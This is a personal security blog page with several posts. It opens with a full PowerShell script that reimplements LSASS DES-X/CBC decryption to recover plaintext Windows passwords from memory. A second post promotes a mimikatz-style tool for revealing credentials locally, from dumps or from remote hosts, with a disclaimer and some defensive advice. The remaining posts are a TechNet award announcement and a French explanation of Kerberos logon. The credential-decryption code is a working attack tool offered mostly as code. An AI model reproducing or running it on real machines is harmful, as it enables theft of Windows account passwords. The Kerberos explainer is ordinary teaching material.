samedi 25 juillet 2015

How to break DES-X with PowerShell ?

Hi !

Here's my code to break DES-X with PowerShell :

$sboxul = New-Object 'object[,]' 8,64
$string = "0x02080800,0x00080000,0x02000002,0x02080802,0x02000000,0x00080802,0x00080002,0x02000002,0x00080802,0x02080800,0x02080000,0x00000802,0x02000802,0x02000000,0x00000000,0x00080002,0x00080000,0x00000002,0x02000800,0x00080800,0x02080802,0x02080000,0x00000802,0x02000800,0x00000002,0x00000800,0x00080800,0x02080002,0x00000800,0x02000802,0x02080002,0x00000000,0x00000000,0x02080802,0x02000800,0x00080002,0x02080800,0x00080000,0x00000802,0x02000800,0x02080002,0x00000800,0x00080800,0x02000002,0x00080802,0x00000002,0x02000002,0x02080000,0x02080802,0x00080800,0x02080000,0x02000802,0x02000000,0x00000802,0x00080002,0x00000000,0x00080000,0x02000000,0x02000802,0x02080800,0x00000002,0x02080002,0x00000800,0x00080802"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[0,$j] = $s
    $j++
}

$string = "0x40108010,0x00000000,0x00108000,0x40100000,0x40000010,0x00008010,0x40008000,0x00108000,0x00008000,0x40100010,0x00000010,0x40008000,0x00100010,0x40108000,0x40100000,0x00000010,0x00100000,0x40008010,0x40100010,0x00008000,0x00108010,0x40000000,0x00000000,0x00100010,0x40008010,0x00108010,0x40108000,0x40000010,0x40000000,0x00100000,0x00008010,0x40108010,0x00100010,0x40108000,0x40008000,0x00108010,0x40108010,0x00100010,0x40000010,0x00000000,0x40000000,0x00008010,0x00100000,0x40100010,0x00008000,0x40000000,0x00108010,0x40008010,0x40108000,0x00008000,0x00000000,0x40000010,0x00000010,0x40108010,0x00108000,0x40100000,0x40100010,0x00100000,0x00008010,0x40008000,0x40008010,0x00000010,0x40100000,0x00108000"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[1,$j] = $s
    $j++
}
$string = "0x04000001,0x04040100,0x00000100,0x04000101,0x00040001,0x04000000,0x04000101,0x00040100,0x04000100,0x00040000,0x04040000,0x00000001,0x04040101,0x00000101,0x00000001,0x04040001,0x00000000,0x00040001,0x04040100,0x00000100,0x00000101,0x04040101,0x00040000,0x04000001,0x04040001,0x04000100,0x00040101,0x04040000,0x00040100,0x00000000,0x04000000,0x00040101,0x04040100,0x00000100,0x00000001,0x00040000,0x00000101,0x00040001,0x04040000,0x04000101,0x00000000,0x04040100,0x00040100,0x04040001,0x00040001,0x04000000,0x04040101,0x00000001,0x00040101,0x04000001,0x04000000,0x04040101,0x00040000,0x04000100,0x04000101,0x00040100,0x04000100,0x00000000,0x04040001,0x00000101,0x04000001,0x00040101,0x00000100,0x04040000"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[2,$j] = $s
    $j++
}
$string = "0x00401008,0x10001000,0x00000008,0x10401008,0x00000000,0x10400000,0x10001008,0x00400008,0x10401000,0x10000008,0x10000000,0x00001008,0x10000008,0x00401008,0x00400000,0x10000000,0x10400008,0x00401000,0x00001000,0x00000008,0x00401000,0x10001008,0x10400000,0x00001000,0x00001008,0x00000000,0x00400008,0x10401000,0x10001000,0x10400008,0x10401008,0x00400000,0x10400008,0x00001008,0x00400000,0x10000008,0x00401000,0x10001000,0x00000008,0x10400000,0x10001008,0x00000000,0x00001000,0x00400008,0x00000000,0x10400008,0x10401000,0x00001000,0x10000000,0x10401008,0x00401008,0x00400000,0x10401008,0x00000008,0x10001000,0x00401008,0x00400008,0x00401000,0x10400000,0x10001008,0x00001008,0x10000000,0x10000008,0x10401000"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[3,$j] = $s
    $j++
}
$string = "0x08000000,0x00010000,0x00000400,0x08010420,0x08010020,0x08000400,0x00010420,0x08010000,0x00010000,0x00000020,0x08000020,0x00010400,0x08000420,0x08010020,0x08010400,0x00000000,0x00010400,0x08000000,0x00010020,0x00000420,0x08000400,0x00010420,0x00000000,0x08000020,0x00000020,0x08000420,0x08010420,0x00010020,0x08010000,0x00000400,0x00000420,0x08010400,0x08010400,0x08000420,0x00010020,0x08010000,0x00010000,0x00000020,0x08000020,0x08000400,0x08000000,0x00010400,0x08010420,0x00000000,0x00010420,0x08000000,0x00000400,0x00010020,0x08000420,0x00000400,0x00000000,0x08010420,0x08010020,0x08010400,0x00000420,0x00010000,0x00010400,0x08010020,0x08000400,0x00000420,0x00000020,0x00010420,0x08010000,0x08000020"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[4,$j] = $s
    $j++
}
$string = "0x80000040,0x00200040,0x00000000,0x80202000,0x00200040,0x00002000,0x80002040,0x00200000,0x00002040,0x80202040,0x00202000,0x80000000,0x80002000,0x80000040,0x80200000,0x00202040,0x00200000,0x80002040,0x80200040,0x00000000,0x00002000,0x00000040,0x80202000,0x80200040,0x80202040,0x80200000,0x80000000,0x00002040,0x00000040,0x00202000,0x00202040,0x80002000,0x00002040,0x80000000,0x80002000,0x00202040,0x80202000,0x00200040,0x00000000,0x80002000,0x80000000,0x00002000,0x80200040,0x00200000,0x00200040,0x80202040,0x00202000,0x00000040,0x80202040,0x00202000,0x00200000,0x80002040,0x80000040,0x80200000,0x00202040,0x00000000,0x00002000,0x80000040,0x80002040,0x80202000,0x80200000,0x00002040,0x00000040,0x80200040"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[5,$j] = $s
    $j++
}
$string = "0x00004000,0x00000200,0x01000200,0x01000004,0x01004204,0x00004004,0x00004200,0x00000000,0x01000000,0x01000204,0x00000204,0x01004000,0x00000004,0x01004200,0x01004000,0x00000204,0x01000204,0x00004000,0x00004004,0x01004204,0x00000000,0x01000200,0x01000004,0x00004200,0x01004004,0x00004204,0x01004200,0x00000004,0x00004204,0x01004004,0x00000200,0x01000000,0x00004204,0x01004000,0x01004004,0x00000204,0x00004000,0x00000200,0x01000000,0x01004004,0x01000204,0x00004204,0x00004200,0x00000000,0x00000200,0x01000004,0x00000004,0x01000200,0x00000000,0x01000204,0x01000200,0x00004200,0x00000204,0x00004000,0x01004204,0x01000000,0x01004200,0x00000004,0x00004004,0x01004204,0x01000004,0x01004200,0x01004000,0x00004004"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[6,$j] = $s
    $j++
}
$string = "0x20800080,0x20820000,0x00020080,0x00000000,0x20020000,0x00800080,0x20800000,0x20820080,0x00000080,0x20000000,0x00820000,0x00020080,0x00820080,0x20020080,0x20000080,0x20800000,0x00020000,0x00820080,0x00800080,0x20020000,0x20820080,0x20000080,0x00000000,0x00820000,0x20000000,0x00800000,0x20020080,0x20800080,0x00800000,0x00020000,0x20820000,0x00000080,0x00800000,0x00020000,0x20000080,0x20820080,0x00020080,0x20000000,0x00000000,0x00820000,0x20800080,0x20020080,0x20020000,0x00800080,0x20820000,0x00000080,0x00800080,0x20020000,0x20820080,0x00800000,0x20800000,0x20000080,0x00820000,0x00020080,0x20020080,0x20800000,0x00000080,0x20820000,0x00820080,0x00000000,0x20000000,0x20800080,0x00020000,0x00820080"
$string = $string -split ","
$j=0
foreach($s in $string){
    $sboxul[7,$j] = $s
    $j++
}

function rol ($val, $r_bits, $max_bits) {       
    return (($val -shl ($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1) -bor ($val -band ([math]::Pow(2,$max_bits)-1)) -shr ($max_bits-($r_bits % $max_bits)))       
}
  
function ror ($val, $r_bits, $max_bits) {      
    return ((($val -band ([math]::Pow(2,$max_bits)-1)) -shr $r_bits % $max_bits) -bor ($val -shl ($max_bits-($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1)))       
}

function loop($des_key, $dst, $src, $ecx, $round){
    $eax = $des_key.Substring($round*8,4)
    $edx = $des_key.Substring($round*8+4,4)
    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);
    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);
    $ebx = 0
    $eax = $eax -bxor $src
    $edx = $edx -bxor $src
    $eax = $eax -band "0x0FCFCFCFC"
    $edx = $edx -band "0x0CFCFCFCF"
    $ebx = ($ebx -band "0xFFFFFF00") -bor ($eax -band "0x000000FF")
    $ecx = ($ecx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)
    $edx = ror $edx 4 32
    $ebp = [Convert]::ToInt64(($sboxul[0,($ebx -shr 2)]),16)
    $ebx = ($ebx -band "0xFFFFFF00") -bor ($edx -band "0x000000FF")
    $dst = $dst -bxor $ebp
    $ebp = [Convert]::ToInt64(($sboxul[2,($ecx -shr 2)]),16)
    $dst = $dst -bxor $ebp
    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)
    $eax = $eax -shr "0x10"
    $ebp = [Convert]::ToInt64(($sboxul[1,($ebx -shr 2)]),16)
    $dst = $dst -bxor $ebp
    $ebx = ($ebx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)
    $edx = $edx -shr "0x10"
    $ebp = [Convert]::ToInt64(($sboxul[3,($ecx -shr 2)]),16)
    $dst = $dst -bxor $ebp
    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)
    $eax = $eax -band "0xFF"
    $edx = $edx -band "0xFF"
    $ebx = [Convert]::ToInt64(($sboxul[6,($ebx -shr 2)]),16)
    $dst = $dst -bxor $ebx
    $ebx = [Convert]::ToInt64(($sboxul[7,($ecx -shr 2)]),16)
    $dst = $dst -bxor $ebx
    $ebx = [Convert]::ToInt64(($sboxul[4,($eax -shr 2)]),16)
    $dst = $dst -bxor $ebx
    $ebx = [Convert]::ToInt64(($sboxul[5,($edx -shr 2)]),16)
    $dst = $dst -bxor $ebx
    return $dst,$ecx   
}

function decrypt($des_key128,$encrypted){
    $esi = $encrypted   
    $eax = $esi.Substring(0,4)
    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   
    $edi = $esi.Substring(4)
    $edi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edi),0);
    $eax = rol $eax "4" 32
    $esi = $eax
    $eax = $eax -bxor $edi
    $eax = $eax -band "0x0F0F0F0F0"
    $esi = $esi -bxor $eax
    $edi = $edi -bxor $eax
    $edi = rol $edi "0x14" 32
    $eax = $edi
    $edi = $edi -bxor $esi
    $edi = $edi -band "0x0FFF0000F"
    $eax = $eax -bxor $edi
    $esi = $esi -bxor $edi
    $eax = rol $eax "0x0e" 32
    $edi = $eax
    $eax = $eax -bxor $esi
    $eax = $eax -band "0x33333333"
    $edi = $edi -bxor $eax
    $esi = $esi -bxor $eax
    $esi = rol $esi "0x16" 32
    $eax = $esi
    $esi = $esi -bxor $edi
    $esi = $esi -band "0x3FC03FC"
    $eax = $eax -bxor $esi
    $edi = $edi -bxor $esi
    $eax = rol $eax "0x9" 32
    $esi = $eax
    $eax = $eax -bxor $edi
    $eax = $eax -band "0x0AAAAAAAA"
    $esi = $esi -bxor $eax   
    $edi = $edi -bxor $eax
    $edi = rol $edi "0x1" 32
    $ecx = 0
    $round = 15
    while($round -gt 0) {
        $edi, $ecx = loop $des_key128 $edi $esi $ecx $round
        $ind = $round - 1
        $esi, $ecx = loop $des_key128 $esi $edi $ecx $ind 
        $round = $round - 2
    }   
    $esi = ror $esi 1 32
    $eax = $edi
    $edi = $edi -bxor $esi
    $edi = $edi -band "0x0AAAAAAAA"
    $eax = $eax -bxor $edi
    $esi = $esi -bxor $edi
    $eax = rol $eax "0x17" 32
    $edi = $eax
    $eax = $eax -bxor $esi
    $eax = $eax -band "0x3FC03FC"
    $edi = $edi -bxor $eax
    $esi = $esi -bxor $eax
    $edi = rol $edi "0x0A" 32
    $eax = $edi
    $edi = $edi -bxor $esi
    $edi = $edi -band "0x33333333"
    $eax = $eax -bxor $edi
    $esi = $esi -bxor $edi
    $esi = rol $esi "0x12" 32
    $edi = $esi
    $esi = $esi -bxor $eax
    $esi = $esi -band "0x0FFF0000F"
    $edi = $edi -bxor $esi
    $eax = $eax -bxor $esi
    $edi = rol $edi "0x0C" 32
    $esi = $edi
    $edi = $edi -bxor $eax
    $edi = $edi -band "0x0F0F0F0F0"
    $esi = $esi -bxor $edi
    $eax = $eax -bxor $edi
    $eax = ror $eax 4 32
    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")
    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))
    $esi = $encoding.GetString([BitConverter]::GetBytes($esi))
    return $eax,$esi
}
function XP_DESX($desx_key,$encrypted){
    $eax = $encrypted.Substring(0,4)
    $esi = $encrypted.Substring(4,4)
    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);
    $esi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($esi),0);
    $ecx = $desx_key.Substring(8,4)
    $edx = $desx_key.Substring(12,4)
    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);
    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);
    $ecx = $ecx -bxor $eax
    $edx = $edx -bxor $esi   
    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")
    $ecx = $encoding.GetString([BitConverter]::GetBytes($ecx))
    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))
    $enc_64 = $ecx + $edx
    $des_key128 = $desx_key.Substring(16,128)
    $decrypted,$decrypted2 = decrypt $des_key128 $enc_64   
    $ecx = $desx_key.Substring(0,4)
    $ebx = $desx_key.Substring(4,4)
    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);
    $ebx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ebx),0);
    $edx = $decrypted   
    $eax = $decrypted2   
    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);
    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   
    $edx = $edx -bxor $ecx
    $eax = $eax -bxor $ebx  
    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")
    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))
    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))   
    return $edx,$eax
}
function XP_CBC_DESX($encrypted, $desx_key, $feedback) {
    $decrypted,$decrypted2 = XP_DESX $desx_key $encrypted
    $decrypted = $decrypted + $decrypted2
    $decrypted_temp = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($decrypted),0);
    $decrypted_temp2 = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($feedback),0);
    $decrypted_temp = $decrypted_temp -bxor $decrypted_temp2   
    $decrypted = [BitConverter]::GetBytes($decrypted_temp);
    $feedback = $encrypted
    return $decrypted,$feedback

}
function XP_LsaDecryptMemory($DESXKeyHex, $g_Feedback, $cipherToDecrypt) {
    $desx_key = $DESXKeyHex
    $feedback = $g_Feedback
    $measureObject = $cipherToDecrypt | Measure-Object -Character
    $count = $measureObject.Characters
    $measureObject = $g_Feedback | Measure-Object -Character
    $countFeed = $measureObject.Characters   
    $decrypted = ''           
    $count = $count -shr 3
    $i = 0   
    while($i -lt $count) {        
        $decrypted8, $feedback = XP_CBC_DESX $cipherToDecrypt.Substring($i*8,8) $desx_key $feedback
        $decrypted += $decrypted8
        $i++
    }
    return $decrypted   
}


$passwordDec = XP_LsaDecryptMemory $DESXKeyHex $g_Feedback $cipherToDecrypt
$passwordDecSplitted = $passwordDec -split " "
$passwordDecSplitted = $passwordDecSplitted -replace " ",""
$password = ""
foreach($letter in $passwordDecSplitted){
if([int]$letter -lt 98182){
$password = $password + [char][int]$letter
}
}   


Enjoy !

jeudi 2 juillet 2015

Powershell - Reveal Windows Memory Credentials

Disclaimer

Any actions and or activities related to the material contained within this blog is solely your responsibility.The misuse of the information in this website can result in criminal charges brought against the persons in question. The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

This script is published for educational use only. I am no way responsible for any misuse of the information.

This article is related to Computer Security and I am not promote hacking / cracking / software piracy.

This article is not a GUIDE of Hacking. It is only provide information about the legal ways of retrieving the passwords. You shall not misuse the information to gain unauthorised access. However you may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is illegal.

The beginning

I looked at the work of Benjamin DELPY about his tools mimikatz.

I wanted to be able to check if it was possible to do the decryption passwords with PowerShell.

The goal was to do it with PowerShell and without any call to .dlls systems to decrypt the passwords.

What the script can do (get windows password in memory)

The script doesn't work with system .dlls to decrypt data. All the decryptions are made in the script.

The script can reveal any password from 2003 to 2012 (tested on Windows 2003, 2008R2, 2012, Windows 7 and Windows 8).

It can reveal local passwords, it can reveal passwords from a dump you took or it can reveal passwords from a remote host.

The script is a proof of concept of how retrieve Windows credentials with Powershell and CDB Command-Line Options (Windows Debuggers).

It works even if you run it on another architecture than the system targeted.

My main purpose is to prevent this type of attack against your network. To avoid these attacks, you need to understand how important it is  to segregate rights you give to people but also to SysAdmin and anyone who works on your network.

You cannot give a right before being sure it is not a breach opened on your network.

Don't give too much (administrator, debug) rights to your user.

Audit, audit, audit.

Technology

PowerShell and CDB Command-Line Options (Windows Debuggers)

Features
Retrieve login and password in memory locally and remotely
Triple DES decryption
AES decryption
DES-X decryption

The demo
The code is quick and dirty for the POC.

 \
   \ /\     Follow the white Rabbit :-)
   ( )         pabraeken@gmail.com
.( @ ).

Powershell - Reveal Windows Memory Credentials : https://github.com/giMini/RWMC

Thanks to Benjamin Delpy for his work with mimikatz and Francesco Picasso for his work on DES-X.



dimanche 19 avril 2015

I am a Technet Guru :-)

Hello everyone,

I would like to share with you my gold medal from the Microsoft TechNet Guru Awards! I got it with my Active Directory article about cloning a Domain Controler.

Guru Award Windows Server Technical Guru - March 2015  
Gold Award WinnerPierre-Alexandre BraekenActive Directory - Clone a Domain Controller in Windows Server 2012 with Hyper-V (VM-GenerationID)Mark Parris: "The principals of cloning a DC."
JM: "This is an excellent article on cloning a DC, nice work and thanks for the contribution."
Richard Mueller: "Excellent topic and great images."

http://blogs.technet.com/b/wikininjas/archive/2015/04/17/the-microsoft-technet-guru-awards-march-2015.aspx

vendredi 3 avril 2015

Fonctionnement de Kerberos sous Windows




Processus de log on pour l’utilisateur U

La première opération de l’utilisateur U est le logon dans le domaine. À travers une séquence spéciale, appelée SAS (Secure Attention Sequence) bien connue sous la séquence CTRL+ALT+DELETE, l’utilisateur U encode ses credentials (username et password ou SmartCard) à travers LogonUI. Ces credentials sont envoyés à LSASS (Local Security Authority Subsystem) qui utilise la fonction lsalookupauthenticationpackage pour déterminer quel provider utiliser. Ensuite, les credentials sont passés au provider grâce à la fonction LsaLogonUser.

Cas où le process est abandonné :

  • Credentials incorrects
  • Le provider indiqué n’est pas trouvé
  • La méthode de logon n’est pas acceptée (interractive logon, network, batch, service)

Le provider Kerberos entre dans un processus que nous expliquons en 6 étapes :

Version simple du fonctionnement de Kerberos

L’utilisateur U veut accéder à une ressource R sur le serveur S intégré au domaine D

1) Le client U, à travers Kerberos, contacte le KDC (Key Distribution Center) afin d’obtenir un TGT (Ticket Granting Ticket) en donnant son identité, le service name (dans le cas de AS_REQ, c’est toujours le service krbtgt) et un timestamp encrypté avec son secret (dérivé du password ou long-term-key). Ce timestamp (ainsi que d’autres données, comme l’ip et le lifetime) est en fait un authenticator qui permet de prouver au KDC que U est bien U.

2) KDC décrypte le message avec le secret partagé avec U (vérification dans sa base), vérifie la valeur du timestamp proposé (refuse si la différence entre le timestamp et son heure est de plus de 5 minutes (par défaut ou que le timestamp est plus petit ou égal au timestamp du précédent authenticator). Ensuite le service d’authentification crée une clé de session de logon (nécessaire pour s’adresser au TGS) qu’il crypte avec le secret partagé. Il crée alors le TGT qui inclut les informations de l’utilisateur (dont le user RID et les group memberships), le lifetime et la clé de session de logon cryptée. Enfin, il crypte le TGT avec son propre secret (password du compte krbtgt) et envoi à U le TGT et la clé de session de logon cryptée. Le TGT peut seulement être décrypté par un KDC valide ! Un RODC a son propre compte krbtgt avec un password propre. Ce qui veut dire qu’un utilisateur présentant un TGT provenant d’un RODC à un RWDC, le RWDC dump le TGT et en génère un nouveau.

3) Le client reçoit deux messages, le TGT et la clé de session de logon. Le client décrypte la clé de session avec son secret et le met en cache. En plus de ceci, le client stocke également le TGT dans son cache (klist permet d’afficher les tickets mis en cache). Dès lors que le client veut accéder à un service sur le réseau, il fait une demande au service Ticket-Granting-Service du KDC. Sa demande contient un authenticator encrypté avec la clé de session de logon et composé du username et d’un timestamp, le nom du service qu’il veut joindre (Service Principal Name*) et le TGT.

4) Le KDC reçoit la demande de ticket de service. Il la traite complètement seulement si le SPN est unique et le timestamp est dans le range acceptable et le TGT est valide et non expiré. Le Ticket-Granting-Service décrypte le TGT avec son secret (password de krbtgt) et extrait la clé de session de logon. Cette clé de session lui permet donc de décrypter l’authenticator. S’il y parvient avec succès, il extrait du TGT les informations de l’utilisateur. Ensuite, le TGS crée une clé de session de service.

Le TGS crée deux messages:

  • un message contenant le SPN, le timestamp récupéré après avoir décrypté l’authenticator et la clé de session de service à Ce message est encrypté avec la clé de session de logon
  • le Ticket de service contenant le username U, le SPN, la clé de session de service et le timestamp à ce message est encrypté avec le secret du service (long term key du server sur lequel réside le service)

5) Le client U envoie le ticket de service par une requête au serveur S. La requête contient l’authenticator (time stamp et username), qui est encrypté avec la clé de session de service et le ticket de service.

6) Le serveur reçoit la requête et décrypte le ticket de service en utilisant son secret et extrait la clé de session de service. Ensuite il utilise la clé de session de service pour décrypter l’authenticator et pour l’évaluer. Si le test est OK, le serveur encrypte l’authenticator avec la clé de session de service et renvoie l’authenticator au client. Le client décrypte l’authenticator, récupère le timestamp, et s’il s’agit du même que l’original, c’est bon la connexion s’opère, le client a accès au service demandé.

Les packets sont constitués comme suit :


*Que sont les Principal Names ?

User Principal Name (UPN)
Doit être unique au sein d’une forêt. Il s’agit d’un attribut d’un objet Active Directory. Il ne peut contenir qu’une seule valeur (exemple: bob@contoso.com)

Service Principal Name (SPN)
Doit être unique au sein d’une forêt. Il est défini au niveau du contexte de sécurité du compte pour lequel il tourne. Il est du type Service/hostname (on peut également spécifier un numéro de port). Le SPN est très important dans un domaine Active Directory. En effet, c’est grâce à lui que tous les services possibles dans un réseau Active Directory sont accédés. Ils doivent être uniques pour un type de service car sinon, KDC est dans l’impossibilité de déterminer quel host héberge le service.